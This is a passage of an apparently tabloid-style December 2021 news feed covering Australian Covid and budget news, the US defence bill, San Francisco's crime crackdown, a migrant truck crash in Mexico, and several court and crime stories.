least five people caught the virus. Finnegan's has also been a venue of concern with close contacts dubbed as anyone who visited the pub on Friday December 10 from 6pm to Saturday December 11 at 2:30am. The new exposure sites comes after a massive spike in cases was seen on Wednesday across NSW with 1,360 new infections. Health Minister Brad Hazzard warned that based on current modelling, cases could explode to 25,000 a day by the end of January. The total number of Omicron infections around NSW stands at 110. Josh Frydenberg claims one million jobs will be created over the next four years as a result of the Morrison government's economic strategy. The treasurer will release his mid-year budget on Thursday, which economists expect will see an improved budget position against the backdrop of a rapidly recovering economy. Deloitte Access Economics expects deficits will have improved by $103 billion over the four-year budget estimates. Treasurer Josh Frydenberg will hand down his mid-year budget review on Thursday. This would see the 2021/22 budget deficit reduced to $91.1 billion from $106.6 billion forecast in the May budget, and to $61.8 billion in 2022/23 rather than $99.3 billion. This could be Mr Frydenberg's last major economic showpiece should Prime Minister Scott Morrison head to the polls in March rather than May, and before the 2022/23 budget planned for March 29. Mr Frydenberg says Treasury has estimated about one million jobs will be created over the next four years. 'Saving jobs and creating jobs is a top economic priority,' he says. 'It's a pathway to a stronger economy, an improved budget bottom line while being fundamental to a healthy and prosperous society." Tax cuts and business investment incentives are helping to create a new wave of economic activity as the baton is passed to the private sector to create more jobs and secure the recovery, he says. Forecasts in the mid-year economic and fiscal outlook are expected to see the unemployment rate cut to 4.5 per cent by the June quarter of next year compared to the estimate of five per cent in the May budget. By the June quarter 2023 it is estimated to be 4.25 per cent rather than the 4.75 per cent predicted seven months ago. If achieved, this would represent the first time since before the 2008-2009 Global Financial Crisis that Australia has sustained an unemployment rate of below five per cent, and only the second time since the early 1970s. Labour force figures also due on Thursday are expected to see the jobless rate fall to five per cent for November, after the unexpected jump to 5.2 per cent in October due to the impact of the recent COVID-19 lockdowns in NSW, Victoria and the ACT. The United States Senate voted 89 - 10 on Wednesday to authorize $770 billion in defense spending over the next fiscal year. This year's National Defense Authorization Act, an annual must-pass piece of legislation, will now head to President Joe Biden's desk with $25 billion more in the final budget than he initially requested. Authorizing about 5 percent more military spending than last year, the 2022 NDAA is a compromise after intense debate between House and Senate Democrats and Republicans and being stalled by disputes over China and Russia policy. Some of that funding will go toward a 2.7 percent pay raise for all service members and the Pentagon's civilian workforce. One notable addition is 12 weeks of paid family leave for service members who are new parents - the same number Biden was trying to secure for all American families in his progressive Build Back Better bill before his efforts were stymied by moderate Democrats. In a win for Republicans, a recent addition includes safeguards for service members who don't comply with Biden's vaccine mandate for the federal government and armed forces. The Senate passed next year's National Defense Authorization Act in an overwhelming 89 to 10 vote They include requiring the Pentagon to establish uniform standards for medical or religious vaccine exemptions, and will allow troops who are let go because of their refusal and lack of an exemption to be honorably discharged and receive their military benefits. In addition to securing more military aircraft, sea vessels as well as funding to improve existing hardware, the package includes policy provisions directed toward engagement with China and Russia, and establishes a commission to examine the US' 20-year war in Afghanistan. Reforms to improve the life of service members are included as well, such as overhauls to tackle sexual assault and extremism, and a basic needs income program for troops below 130% of the federal poverty guidelines. Below are some of the measures included in the sixty-first annual defense bill. Military hardware Congress made a big investment in Boeing this year with a combined more than $1.5 billion going toward 17 fighter jets - five F-15EX aircraft which were only first launched in February, and 12 F/A-18E/F 'Super Hornets.' Lockheed Martin is also producing three military transport aircraft, including one capable of flying extended distances. Lawmakers are also putting $250 million in for two new King Stallion CH-53K helicopters as well as 'additional funds' to enhance the US supply of Apache and Blackhawk helicopters, according to a summary of the legislation. It also authorizes $323 million to purchase two MQ-4C Triton unmanned aerial systems - colloquially known as drones. The military is investing in its battle-ready presence in the water with $9.6 billion toward eight missile destroyers as well as support vessels including a fleet oiler for refueling and two expeditionary fast transports to move people and machinery. They're also procuring two Virginia-class nuclear submarines at $6.6 billion. The chart below breaks down some of the spending on the military's vast fleet of land, air and sea vehicles. Amid reports Russia and China are quickly and aggressively building up their presence in space, this year's NDAA includes provisions to strengthen American capabilities in the sphere as well. It authorizes an additional $6 billion for 'laser communications in space' as well as a $10 million increase toward 'bridg[ing] space protection gaps' for the US Space Force. Russia blew up one of its own satellites on Monday, November 15, using a missile. Cosmos 1408, a defunct spy satellite launched in 1982, was the destroyed target, which resulted in a field of 1,500 pieces of debris endangering the crew of the ISS Last month Russia blew up a satellite, the force of which forced astronauts on the International Space Station to take shelter for a short time. The move angered global security experts and alarmed US officials. UFOs, which the government now classifies as UAFs or 'Unidentified Areal Phenomena,' are also mentioned briefly in the bill. It tasks the Secretary of Defense and the Director of National Intelligence with taking 'action to address' UAFs in the name of national security. Russia and Ukraine Arguments over how to deter Russian aggression toward Ukraine and rein in Vladimir Putin are among the biggest roadblocks the bill has faced. Some of the strengthened provisions in the 2022 defense budget to keep Russia in check includes a prohibition on using any US funds 'for any activity that recognizes the sovereignty of the Russian Federation over Crimea,' which Putin illegally annexed from Ukraine in 2014 following the country's democratic revolution. Russia's military buildup at Ukraine's border in recent months also motivated a $50 million increase to the $250 million the bill was already allocating toward the former Soviet satellite country. At least $75 million of that will have to be spent on 'defensive lethal capabilities,' the bill dictates. Russian troops take part in drills at the Kadamovskiy firing range in the Rostov region in southern Russia, Friday, Dec. 10 A Ukrainian soldier, who goes by the nickname Chorny, walks in a trench on the front line on December 12 China and Taiwan Security negotiations over an increasingly competitive and hostile China also held up the bill's passage. The Pentagon has called China a 'pacing challenge' on multiple occasions, and the bill indicates lawmakers want a closer eye on new developments there. To discourage Beijing from its growing encroachment on the South China Sea and US Allies in the region, Congress allocated $7.1 billion for the Indo-Pacific Deterrence Initiative. It also includes language allowing the US to resist China taking unilateral action on Taiwan, directing American officials to avoid a 'fait accompli' about the island's fate. The bill also requires the Pentagon to produce a report comparing the research and design of military technologies between Beijing and Washington as well as an annual report 'on military and security developments involving China.' It also commissions an annual briefing by the Pentagon chief to the Senate and House Armed Services committees on how to best strengthen ties with Taiwan. The Secretary of Defense is also required 'to provide an assessment of Taiwan's defensive asymmetric capabilities and a plan for assisting Taiwan with the improvement of such capabilities.' In this photo provided by the Philippine Coast Guard, a Chinese Coast Guard vessel is seen patrolling in the South China Sea, taken sometime April 13-14, 2021. US Allies in the region are growing increasingly concerned about Beijing's military presence in the region Havana Syndrome Lawmakers are also taking an interest in Havana Syndrome, the mysterious ailment that's plagued US government officials and diplomats overseas in places like Cuba, Austria and Russia. People seemingly afflicted by 'Havana Syndrome' have reported symptoms like nausea, vertigo, hearing and sight issues and a ringing of the ears known as tinnitus. The 2022 NDAA orders Defense Secretary Lloyd Austin to create a 'cross-functional team' to examine military-related cases of Havana Syndrome - referred to in the text and in formal settings as 'anomalous health incidents,' or AHI. It also calls on Biden to appoint a 'Interagency Coordinator for Anomalous Health Incidents' dedicated to the matter. US intelligence officials still haven't released an official explanation for what is sickening dozens of Americans stationed overseas, though one theory involves targeted 'microwave' attacks from Russia. However, the explanation lacks evidence in some of the reported cases and the intel community has not even been able to confirm they were attacks in the first place. Sexual Assault How to address pervasive sexual violence in the military has been a big topic of discussion over the last year. Senators Kirsten Gillibrand of New York and Joni Ernst of Iowa have been the main proponents of reforming the military justice system, particularly when it comes to sexual assault. As a result the bill now removes the decision to prosecute sexual crimes from the military's chain of command - though Gillibrand wanted it to go further and include all felonies. It also requires the Pentagon to track allegations of retaliation against victims of assault or harassment as well as third-party individuals who have reported an incident. The bill also establishes a safe tip line for reporting assault or harassment and mandates the development of personnel training programs aimed at reducing sexual assault. San Francisco's woke mayor has performed a dramatic U-turn on the 'defund the police' strategy as she called for 'more aggressive policing' to replace 'bulls**t progressive policies'. After Black Lives Matter protestors demanded cities defund the police last year, mayor London Breed announced San Francisco would be one of the first to do so and sliced $120million from the budgets of its police and sheriff's departments. But in an emergency police intervention on Tuesday, Breed made a screeching U-turn as she announced she was asking the city's Board of Supervisors for more money to be given to the police to stamp out drug dealing, car break-ins and theft. Announcing a crime crackdown, she argued that San Francisco officers should get aggressive and 'less tolerant of all the bulls*** that has destroyed our city', as she went back on her plans to defund the police. 'It's time the reign of criminals who are destroying our city, it is time for it to come to an end,' she said. 'And it comes to an end when we take the steps to be more aggressive with law enforcement, more aggressive with the changes in our policies.' Breed called for progressive policies that have allowed criminal behavior to make a mockery of the city's famed tolerance and compassion to be replaced with 'more aggressive policing'. 'All of our residents, our workers and everyone who visits our city should feel safe no matter what part of town they are in. I know San Francisco is a compassionate city. We are a city that prides ourselves on second chances and rehabilitation,' the mayor said. 'But we're not a city where anything goes. Our compassion should not be mistaken for weakness or indifference.' Mayor London Breed launched an emergency police intervention Tuesday aimed at curbing open drug use, brazen home break-ins and other criminal behaviors taking place in San Francisco's crime-ridden Tenderloin neighborhood and across the city The emergency police intervention was aimed at curbing open drug use, brazen home break-ins and other criminal behaviors taking place in San Francisco's crime-ridden Tenderloin neighborhood and across the city. In Tenderloin alone last month, there were six shootings, 20 drug arrests and 16 assault and batteries, according to CBSLocal. Across the entire city last month, there were 3,375 reports of larceny theft, the majority being car break-ins, with SFPD's Central District seeing the most car smash-and-grabs, recording 876 last month. Meanwhile, there was a terrifying 15 per cent increase in homicide across the city compared to last year, with 53 cases recorded so far this year alone, compared with 46 the year before. Assault in the city also increased by more than 9 per cent from 2,075 last year to 2,2271 cases this year, while overall crimes shot up by 10.2 per cent. Larceny theft also saw a massive 18.3 per cent increase from 24,474 to 28,947, according to crime statistics released by the San Francisco Police Department. But robbery and rape across San Francisco decreased when compared with the year before, with robbery cases falling by 5 per cent and rape dropping by more than 13 per cent. House Speaker Nancy Pelosi, speaking Wednesday, slammed the 'attitude of lawlessness' sweeping the nation, citing the mobs of robbers have targeted luxury boutiques in her hometown of San Francisco and stores in other cities. On Tuesday afternoon, San Francisco police released a drug enforcement update for the Tenderloin, which is regarded as one of the poorest and most drug-infested neighborhoods in San Francisco An estimated 90 people overran a Nordstrom Inc. store in the wealthy Bay Area suburb of Walnut Creek, California, on November 20 and made off with more than $100,000 of merchandise, escaping in cars that had their license plates removed or covered A suspect was seen running away with an armful of merchandise after stealing from a Luis Vuitton store in San Francisco's Union Square in November (left). Footage from the aftermath (right) shows the glass door was shattered in the incident, and the shelves were completely empty 'It's absolutely outrageous. Obviously, it cannot continue,' Pelosi said Wednesday. 'We cannot have that lawlessness become the norm. And these people have they coordinate with each other. And they plan traffic patterns and the rest, so that they can reach their goal and depart very quickly.' Although she said she agrees with the need for change, Pelosi did not endorse the mayor's plan to increase policing and review zero bail policies. During her news conference Tuesday, Breed said she plans to introduce legislation that allows law enforcement officers real-time access to surveillance video in certain situations, as well as measures that would make it harder to sell stolen goods. 'What I'm proposing today, and what I will be proposing in the future will make a lot of people uncomfortable, and I don't care,' the Democrat argued. 'We are past the point where what we see is even remotely acceptable.' She continued: 'In recent months we've not only seen a number of high-profile incidents of brazen robberies and car break-ins but also street behavior and criminal activity - especially in the Tenderloin - that has become far too normal and cannot continue to be tolerated.' Her comments are a complete U-turn from earlier this year, when she announced plans to redirect $120million from the police department to a combination of new and existing programs for the African-American community. 'I want to change the outcome of African Americans in the city who are disproportionately impacted in the criminal justice system, disproportionately impacted by homelessness and a number of other disparities, even in our public school system,' Breed said when announcing the budget changes in February. 'And I wanted to make sure that these investments were going to make a difference.' Part of the redirected funds will go toward a guaranteed income program, community outreach, youth development and arts and culture programs, KQED reported at the time. In a statement at the time, Breed said: 'Reforms to any single system, such as the criminal justice system or the police department, must go in hand-in-hand with closing the gaps and ending the disparities that we know exist.' Pelosi commented Wednesday on the 'outrageous' robberies, some of which were planned through online messaging apps according to law enforcement that have are regularly taking place in the city and pointed to legislation being developed in the House to improve tracking of online sales, where stolen goods get pedaled More than 45,000 incidents have been reported so far this year, up from last year when most people were shut indoors, but below the roughly 60,000 complaints in previous years Under the plans, more than half of the $120million was set to be directed to mental health and services to help black homeless people, while another 35 per cent was to be used for education, youth services and job programs. Five per cent was set to be used for directing police calls to non-criminal activity, for example having social workers engage with homeless people, according to CBSLocal. 'For those who truly believe that Black lives matter, it's important that we listen to Black voices. It's important that we allow Black people to lead this movement,' said Breed. The movement to defund the police picked up steam during last year's protests following the police killings of George Floyd and Breonna Taylor. But as she called to redirect funds away from the police towards community ventures, it was revealed the city spent $2.6million on her security detail in 2020. San Francisco spent $12.4million to protect Breed between 2015 and 2020, with the bill rising from $1.7million in 2015 to $2.6 million last year, according to information obtained by public transparency website Openthebooks.com and compiled by Forbes. Breed's crackdown on crime comes after San Francisco police revealed on Tuesday that in the past week, police seized nearly a kilo of drugs, multiple weapons, $3,400 in drug money and arrested 17 suspected dealers in Tenderloin, which is regarded as one of the poorest and most drug-infested neighborhoods in San Francisco. Over the last month there were also six shootings, 2O drug arrests and 16 assault and batteries in the 50-square block Tenderloin alone, CBS 5 reported. Meanwhile, a report released by San Francisco's Public Policy Institute of California (PPIC) found homicides increased in San Francisco, San Diego, Oakland and Los Angeles by 17 per cent in 2021. Police were parked outside a Fendi store in San Francisco on November 30 amid a rise in slash and grab thefts Property crimes across the same four cities soared by seven per cent between 2020 and 2021, reaching a total of 25,000 in October, the New York Post reported. PPCI added that property and violent crimes still remain below than historic levels, but arrests also dropped significantly for a number of crimes this year. This year, just 19 per cent of shoplifting reports resulted in arrest, compared with 40 per cent just two years previously. San Francisco's District Attorney Chesa Boudin charged just 46 per cent of theft arrests, a 16-point point since he came to office last year. Breed, who met with a group of Tenderloin families last week, said 'hearing their stories is hard' and demonstrates exactly why change is necessary. California's Proposition 47 - lighter sentences for thieves Proposition 47 was passed by California voters on November 5, 2014. It made some 'non-violent' property crimes, where the value of the stolen goods does not exceed $950, into misdemeanors. It also made some 'simple' drug possession offenses into misdemeanors, and allows past convictions for these charges to be reduced to a misdemeanor by a court. Under California law, though, if two or more person's conspire to 'cheat and defraud any person or any property, by any means which are in themselves criminal' they can face no more than one year in county prison, a fine of $10,000 or a combination of the two. Advertisement 'Hearing their stories was heartbreaking. Just imagine if you had to walk your kids down the streets of the Tenderloin every single day with people shooting up (on drugs), selling drugs and because the sidewalks were so packed with people, you had to walk out into the streets in incoming traffic on a regular basis,' Breed explained. 'You got these brand new playgrounds where you don't even feel comfortable walking your kids to play in them because of everything you see around them so you don't feel safe.' Breed's push for change comes as residents and visitors scurry past scenes of lawlessness and squalor across San Francisco. Daytime shootings are occurring in the touristy Haight-Ashbury and just steps from the Opera House and Symphony Hall, drug dealers carry translucent bags filled with crystal-like rocks or stand outside the public library's main branch, flashing wads of cash while peddling heroin and methamphetamine. Reports of larceny theft - shoplifting from a person or business - are up nearly 17 percent to more than 28,000 from the same time last year, with groups of brazen looters constantly breaking into stores and grabbing everything they could get their hands on. Pelosi commented Wednesday on the 'outrageous' robberies, some of which were planned through online messaging apps according to law enforcement that have are regularly taking place in the city and pointed to legislation being developed in the House to improve tracking of online sales, where stolen goods get pedaled. She was asked to comment after Breed called for a crackdown on crime. 'The fact is that there is an attitude of lawlessness in our country that springs from I don't know where. Maybe you do?' said Pelosi, when asked about a spate of robberies. 'And some of it is, again, [targeted] high-level stores as the retailers have told us and some of it is your local Walgreens. But none of it is acceptable. And again, it has to be stopped.' She touted a bipartisan bill at the House Energy and Commerce Committee, the Integrity, Notification, and Fairness in Online Retail Marketplaces for Consumers (INFORM Consumers) Act. A map shows the locations of some of the major smash-and-grab robberies that have recently taken place in Southern California A police officer stood at the site of a shooting in San Francisco in early November, when two people were shot in broad daylight in the city's Haught-Ashbury neighborhood, an area that has become overrun with young homeless people National pharmacy chain Walgreens has closed 17 of its 70 San Francisco locations in the past two years, citing shelf raiders who have swiped every kind of product not behind lock and key. The retailer claims it needs to shutter five additional stores in the city because the soft laws on shoplifting have led to rampant theft. Walgreens insists that San Francisco's rampant crime is to blame, revealing it spends 46 times as much on security at its city stores, which face five times as many shoplifting incidents compared with those elsewhere in the country It directs online platforms to collect information on large third-party sellers, including their government ID, bank account, and tax ID information, while providing information for consumers to verify. 'Because what people do is they steal things and sell them online,' said Pelosi. 'They have to establish their legitimacy if they're going to be sold online.' She also pointed to a Judiciary Committee bill to 'incentivize' online platforms to weed out sellers of counterfeit products. Pelosi sought to contrast the organized robberies with other types of theft. 'And again, showing that people are not able to profit from that. It isn't like punish somebody stealing something to go home because they don't have the money to buy. This is about stealing for profit. They have to prove where it came from. It's outrageous. And it must, I agree with the mayor, it must be stopped,' she said. 'It's not just San Francisco. It's an it's an our entire country. And that's evidenced by the appeals that we are receiving from across the country for the legislation,' Pelosi added. The recent spate of robberies that saw stores in San Francisco and the surrounding Bay Area ransacked by hordes of looters was organized on social media by people who often did not know each other, police investigating the incidents now reveal. Meanwhile, requests to clean dirty streets and sidewalks are flooding the majority of calls to 311, the city's services line. Overall, though, crime has been trending down for years. More than 45,000 incidents have been reported so far this year, up from last year when most people were shut indoors, but below the roughly 60,000 complaints in previous years. San Francisco's well-publicized problems have served as fodder for conservative media outlets. Former President Donald Trump jumped in again recently, releasing a statement saying the National Guard should be sent to San Francisco to deter smash-and-grab robberies. Never-before-seen footage shows a truck driver approaching a toll booth and being cleared by an immigration agent moments before the deadly crash that left 56 United States-bound migrants dead and 107 injured in southern Mexico. The tractor trailer was traveling alongside a second truck on a stretch of a highway that connects the Chiapas cities of Chiapa de Corzo and Tuxtla Gutierrez before they were both picked up by a surveillance camera last Thursday afternoon. The second truck is cleared to pass through the far left lane approximately at 3:14 p.m. a minute passed before the truck that was involved in the tragic incident appeared in the camera nearing the toll booth on the adjacent lane. A surveillance camera captured two trucks that were traveling together along a highway in the southern Mexico state of Chiapas last Thursday before one of the trucks (top right) crashed, killing 56 migrants and injuring 107 A Red Cross paramedic tends to a migrant who was injured in the truck accident that left 56 people dead and 102 injured Bodies in bodybags are placed on the side of the road after an accident outside the Chiapas City of Tuxtla Gutierrez left 56 migrants dead The video - which was picked up by several Mexican media outlets Tuesday - shows at least two National Institute of Migration vans parked on the shoulder of the road. Furthermore, the footage contradicted comments made on Monday by Alejandro Encinas, undersecretary for Mexicos Human Rights Ministry of the Interior, who claimed that there were no agents assigned to a checkpoint in the vicinity of the toll booth. Mexican newspaper El Universal reported that both trucks should have also passed by the front of a National Guard station that located at the 28-mile marker in the municipality of San Cristobal. The truck, which was hauling a freight container that had five air vents on its ceiling to provide air for the crammed migrants, crashed about four miles down the road after colliding with a pedestrian bridge near Tuxtla Gutierrez. The driver escaped and remains at large. The Chiapas health department said Tuesday that at least 62 migrants remain hospitalized, including five who are in critical condition. Doctors have released 45 other migrants who were injured in the crash. Of the 56 fatal victims, seven died at area hospitals, including a Central American male who suffered severe head and chest trauma. A freight container used by smugglers to ferry more than 160 migrants, including 56 who died, is removed from a road in Chiapas, Mexico The National Institute of Migration since October has offered migrants humanitarian visas in order to stop them from exposing themselves to the dangers of traveling in caravans, said it awarded 17 visas Tuesday. A total of 15 Guatemalans, including three unaccompanied minors, one Colombian and one Dominican will receive permanent resident cards to remain in Mexico instead of returning to their home countries. A spokesperson with the National Institute of Migration told DailyMail.com that the three children are currently in custody of the National System for Integral Family Development. A mentally unstable bank robber was arrested after holding up a Delaware bank for $150 and then immediately depositing the stolen cash in his own bank account at a nearby ATM, police said. McRoberts Williams, 44, was arrested on Sunday after he robbed a Wells Fargo Bank in Wilmington, according to police. After he was apprehended, Williams told cops that he traveled to Delaware 'by riding on the exterior of a cargo train' and that 'his mind is currently being controlled by a third party via an implant located somewhere in his body.' Williams, of California, had approached a 25-year-old female bank teller and handed her a note that read: 'This is a robbery, I need $150,' according to an affidavit. Delaware State Police arrested 44-year-old McRoberts Williams on Sunday after he robbed a Wells Fargo Bank in Wilmington. Police said Williams, of California, approached a 25-year-old female Wells Fargo bank teller behind a counter and handed her a note informing her it was a robbery The teller told police Williams said 'I'm sorry' before she read the note again and handed over the money. He then he fled the bank on foot as she activated the emergency distress button at her teller window. Williams did not go far, police said, stopping to deposit his ill-gotten small fortune at an ATM just outside the building. After his pit stop he continued to flee, hiding behind a nearby shopping center before local troopers found him. Police did not recover any money, but Williams was in possession of a Wells Fargo bank card. Williams was charged with second-degree robbery and is currently being held on $6,000 cash bond, police said. Bill Shorten has hit out at the 'mixed messages' Australia's politicians are sending about the threat of the new Omicron Covid strain in the run-up to Christmas. NSW Premier Dominic Perrottet on Wednesday urged Australians not to focus on daily case numbers, just minutes after his health minister predicted a grim 25,000 cases a day state-wide by late January. Queensland leader Annastacia Palaszczuk is meanwhile forcing close contacts of Covid cases to quarantine for 14 days, despite experts saying seven days is enough. The ex-Labor leader said state governments risked alienating their own residents with 'bureaucratic overkill' and confusing coronavirus rules. 'If seven days does the job, you shouldn't have to be stuck for 14 days,' he told the Today show on Thursday morning. 'What people don't want is mixed messages. We'll all follow health regulations, so long as we think the health regulations are sensible. 'But where we just think it's bureaucracy gone mad, that's what really loses people.' He said Australians would be happy to follow reasonable restrictions now the country has switched to a 'living with Covid' strategy. 'Let's just have sensible regulations which do the job, not bureaucratic overkill which just drives people to despair,' he said. However Mr Shorten said he was confident 'common sense will prevail' and the Queensland government will implement fairer restrictions. 'People hate mixed messaging, but they also hate everyone blaming and finger pointing everyone else,' he said. Queensland Premier Annastacia Palaszczuk is forcing close contacts of Covid cases to quarantine for 14 days, despite experts saying seven days is enough Ms Palaszczuk had initially tried to force passengers on two planes to spend Christmas in isolation, before backflipping on the decision. On Tuesday evening Queensland Health said passengers on board flights VA1105 from Newcastle to Brisbane and VA375 from Brisbane to Townsville, both on Monday, December 13, were close contacts of the positive case and will need to isolate until December 27, ruining Christmas. Queensland Health Minister Yvette D'Ath announced on Wednesday morning that travellers on the two Virgin flights will now be classified as casual, rather than close contacts, meaning they can be tested and released from quarantine. Ex-Labor leader Bill Shorten (left with breakfast host Sylvia Jeffreys and radio personality Gus Worland) on Thursday morning said state governments risked alienating their own residents with 'bureaucratic overkill' and confusing coronavirus rules The decision will see the air travellers on the flights reunited with their families for Christmas. Passengers who sat near the infected passenger two rows in front and behind, however, will be asked to remain in quarantine for the full 14 days. 'I've been advised this morning that the Chief Health Officer and the deputies have viewed that we can apply the normal rules in relation to these flights and we don't need to wait until we get the findings of whether it's Omicron because, if it is, we still will apply these rules,' Queensland Health Minister Yvette D'Ath said. 'That means that other than those people - who will be directly advised they are close contacts, because they were either part of the travelling party or sitting immediately around this individual - the remainder of the passengers will be deemed to be casual contacts.' The casual contacts on the flights will need to get tested, isolate until they get a negative result, and monitor for symptoms over the next 14 days. The backflip came as the state announced six new locally acquired Covid cases, two of which are believed to be the Omicron variant. Streep is also fighting a civil suit brought against him by Peralta, who faced medical bills in excess of $100,000 Streep was originally charged with felony crimes of strangulation and assault, but those were later downgraded to misdemeanor offenses Streep and Peralta were caught in surveillance video engaging in a fight outside a Chase Bank parking lot last summer after their cars almost crashed Charles Harrison Streep, 32, pleaded guilty to a charge of disorderly conduct for the altercation that left David Peralta, 19, with life-threatening brain injuries The nephew of three-time Oscar winner Meryl Streep will get off with a $250 fine for violently attacking a teenager and causing him severe head injuries during a road-rage incident last year. Charles Harrison Streep, 32, pleaded guilty to a charge of disorderly conduct for the altercation that left 19-year-old David Peralta with life-threatening brain injuries after the pair clashed in East Hamptons last year over a traffic incident. Streep, the son of Meryl Streep's brother Dana Streep and his wife, Mary, will also have to pay a $125 surcharge. He was originally charged with felony crimes of strangulation and assault, which were later downgraded to misdemeanor offenses. In August 2020, Streep and Peralta were caught in surveillance video engaging in a fight outside a Chase Bank parking lot after their cars almost crashed. In explicit footage of the attack last year, Streep could be seen lifting then 18-year-old Peralta's limp body and thrusting him to the ground, as he allegedly yelled racial slurs to Peralta, who is of Ecuadorian descent. Charles Harrison Streep, 32, pleaded guilty to a charge of disorderly conduct for the altercation that left 19-year-old David Peralta with life-threatening brain injuries after the pair clashed in East Hamptons last year over a traffic incident. He will have to pay a $250 fine Shocking surveillance camera footage from last year shows Streep lifting then 18-year-old David Peralta's limp body and thrusting him to the ground Some of what happened is lost to Peralta due to the severity of his injuries which saw him unconscious and with a brain bleed. Suffolk County Assistant DA Patricia Brosco said on Wednesday the jury had found the video showed Peralta was mostly responsible for his injuries Streep is the son of Meryl's brother Dana Streep and his wife Mary Suffolk County Assistant DA Patricia Brosco said on Wednesday the jury had found the video showed Peralta was mostly responsible for his injuries. 'Peralta, a former high school wrestler, caused his own injuries in this case. That's the People's determination from not only consulting with the video, with the medical examiner's office but with other consultants, with other doctors,' she said. Judge Steven Tekulsky also agreed with the no-jail plea deal, which Peralta and his lawyer saw as a slap on the wrist. 'There is nothing that suggests to me that this is not an appropriate plea,' Tekulsky said. 'It's worth noting that Mr. Streep suffered significant injuries when Mr Peralta slammed him to the ground, including fractured vertebrae and a concussion,' Streep's lawyer, Andrew Weinstein, said. Edmond Chakmakian, Peralta's lawyer in the civil case, said his client (picture outside of court today) 'tried to defend himself and was hurt in the process of trying to defend himself' Pictured the scene of the incident Streep is also fighting a civil suit brought against him by Peralta, who faced medical bills in excess of $100,000. Edmond Chakmakian, Peralta's lawyer in the civil case, said his client 'tried to defend himself and was hurt in the process of trying to defend himself.' 'The video speaks for itself,' Chakmakian said, Page Six reported. 'He [Streep] can clearly be seen dropping David to the ground.' 'He got hurt when Streep dropped him at the end, or slammed him, depending on how you want to say it.' 'I have no doubt that Streep did not intend to do to David what he did, but I stand by my statement that his behavior that day was extremely violent and was an obscene display of violence,' the lawyer said. 'This should not have happened.' Streep was initially charged with felony counts of second-degree assault and second-degree strangulation and released on a $5,000 bail Following the incident Peralta claimed the older man hurled racist abuse at him as he threatened to throw him to the ground and dismissed him as 'just Spanish' (pictured in October, 2020) The altercation took place on August 24, 2020 after Streep failed to observe a Stop sign causing a near collision between Peralta's red Mustang and Streep's Audi convertible on the Hamptons town Main Street. The two men exchanged words but, Peralta said, he thought that was that, until he realized that Streep had swung back around, in an illegal U-turn, and followed Peralta into the Chase Parking lot where events escalated with alarming speed. The video shows Peralta dropping down low and bringing Streep down with a judo-style shoulder throw. But Streep, who outweighed Peralta by 50lbs, quickly regained control of the situation. In the footage, Streep could be seen fixing Peralta in a choke hold. He then dragged Peralta from the ground while the younger man hung limp and unconscious and his feet scraped the tarmac. Streep then hoisted Peralta's body upwards before throwing him back down with some force. The two men exchanged words but, Peralta told DailyMail.com, he thought that was that, until he realized that Streep had swung back around, in an illegal U-turn, and followed Peralta into the Chase Parking lot where events escalated with alarming speed When Peralta regained consciousness, he was bruised and bloodied on the ground and Streep was already returning to his own vehicle. Peralta was then airlifted to Stony Brook Hospital in Southampton the nearest facility with Level 1 Trauma capability. Medics discovered a brain bleed that required surgery and he spent months following a rigid regimen of medication, painkillers, check-ups, therapy and CAT scans. Streep was arrested three days later and charged with felony counts of second-degree assault and second-degree strangulation before being released on a bail of $5,000. Streep was also found guilty of disorderly conduct/physical offense (engaging in fighting or violent conduct, using obscene language or gestures) in another incident linked to a traffic stop in Pennsylvania in 2012. Experts say fears surrounding the Omicron are unfounded and there is significant proof Australia is equipped to handle the new variant. Australia is staring down the barrel of another Christmas plagued by skyrocketing cases, after NSW's Health Minister Brad Hazzard predicted the state could be facing 25,000 cases per day by January. However, according a leading infectious diseases expert, Victoria should be used as a case study for the rest of the country and provide confidence it remains prepared for the new strain. 'If you look at the cases from NSW in the past week, the vast majority are in people who are under 40 and are therefore at much lower risk, and at much lower risk again if they're immunised,' Professor Peter Collignon told The Australian. 'Case numbers should not be our focus. We should look at hospitalisations and deaths. If you look at some of the predictions made earlier this year, the Burnet (Institute) ones in particular, they were massively wrong.' Experts say fears surrounding the Omicron are unfounded and there is significant proof Australia is equipped to handle the new variant Victoria's year-on-year comparison of Covid cases to deaths - 2021 saw 22 less deaths despite 100,000 more infections largely due to high vaccination rates NSW recorded 1,360 new cases of Covid on Wednesday while Victoria registered 1,405, with hundreds believed to be infected with Omicron. Despite the rising numbers, restrictions and mandates continue to fall around the country with South Australia announcing a reduction in quarantine periods for overseas arrivals despite recording their highest increase in cases since April last year. Professor Collignon said Australians should look to Victoria's 2020 and 2021 comparison for assurances the country is prepared and that vaccines work. Last year the state recorded around 20,000 cases and had 820 fatalities from Covid - a 4.1 per cent death rate. In 2021, Victoria registered 116,000 infections with just 598 deaths, a percentage of just 0.5. Professor Collignon says those figures are proof high vaccination rates are working and Australians should be confident the country is ready to handle Omicron and future potential variants. 'With Omicron, could it get worse? Yes it could. It probably spreads more. But we're not seeing any evidence in South Africa of massive numbers of immunised people in hospital,' he told the publication. 'We have to be careful not to overreact until and unless we see real world data.' Professor Collignon said Australians should look to Victoria's 2020 and 2021 comparison for assurances the country is prepared and that vaccines work NSW's hospitalisations have increased, with 171 currently receiving treatment, up from 151 last week. Experts say while case numbers will continue to rise with people congregating for Christmas parties and celebrations, the reproductive rate of case infections remains relatively stable. The rate estimates how many people an infected person passes the virus on to, with that number increasing to 1.43 on Monday with the new Omicron variant. That is the highest level in four months, with a rate of around 1 remaining consistent since vaccination levels hit 90 per cent - further proof vaccines work. 'We're still seeing that more than 80 per cent of those in ICU are unvaccinated, despite less than 10 per cent of the population being unvaccinated,' Professor Catherine Bennett told The Australian. 'We'd be expecting to see more fully vaccinated cases in ICU if we were seeing an increase in breakthrough infections.' Anthony Albanese suffered an unfortunate slip of the tongue when he took to social media to praise Melburnians for their public transport system. The Labor Leader had been spending time in the southern state with Lord Mayor Sally Capp and took to Twitter to mark the occasion. 'Great to catch up with Lord Mayor Sally Capp today, and to see Melbourne open and coming back to life,' the opposition leader wrote on Tuesday. 'Even the light rail here is back on track.' Anthony Albanese (pictured) has suffered an unfortunate slip of the tongue when he took to social media to praise Melburnians for their public transport system 'Great to catch up with Lord Mayor Sally Capp today, and to see Melbourne open and coming back to life,' the opposition leader tweeted. 'Even the light rail here is back on track.' Dozens of indignant locals were quick to retweet the opposition leader and point out the railcars had been called 'trams' for over a century. 'That's a tram mate. Melbourne has had them for 132 years,' one user said. 'Pretty sure he's been to Melbourne before and knows full well they're trams,' a second commented. 'I think the 'light rail' has been running for a long time - it's not all about Sydney Albo,' a third replied. 'Not sure what's 